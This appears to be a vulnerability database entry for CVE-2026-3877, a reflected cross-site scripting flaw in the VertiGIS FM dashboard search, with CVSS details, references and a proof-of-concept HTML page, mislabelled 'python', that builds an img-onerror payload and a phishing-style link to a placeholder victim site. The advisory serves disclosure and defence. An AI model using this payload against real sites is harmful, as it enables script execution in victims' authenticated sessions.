CVE-2026-3877

Description

A reflected cross-site scripting (XSS) vulnerability in the dashboard search functionality of the VertiGIS FM solution allows attackers to craft a malicious URL, that if visited by an authenticated victim, will execute arbitrary JavaScript in the victim's context. Such a URL could be delivered through various means, for instance, by sending a link or by tricking victims to visit a page crafted by the attacker.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vertigis:fm:*:*:*:*:*:*:*:* - VULNERABLE

VertiGIS FM (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-3877 Reflected XSS in VertiGIS FM Dashboard
Vulnerable Parameter: Search functionality in Dashboard
-->

<html>
  <body>
    <script>
      // Constructing the malicious payload
      var payload = "<img src=x onerror=alert('CVE-2026-3877_XSS')>";
      
      // Targeting the vulnerable endpoint (Example URL)
      // Attackers would replace 'victim-site.com' with the actual target domain
      var targetUrl = "https://victim-site.com/dashboard?search=" + encodeURIComponent(payload);
      
      // Simulate delivery mechanism (e.g., Phishing link)
      document.write("Click <a href='" + targetUrl + "'>here</a> to trigger the vulnerability.");
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3877
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3877
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3877/
[4] VulDB https://vuldb.com/cve/CVE-2026-3877
[5] https://www.redguard.ch/blog/2026/04/01/advisory-vertigis-vertigisfm/

Raw JSON Data

JSON

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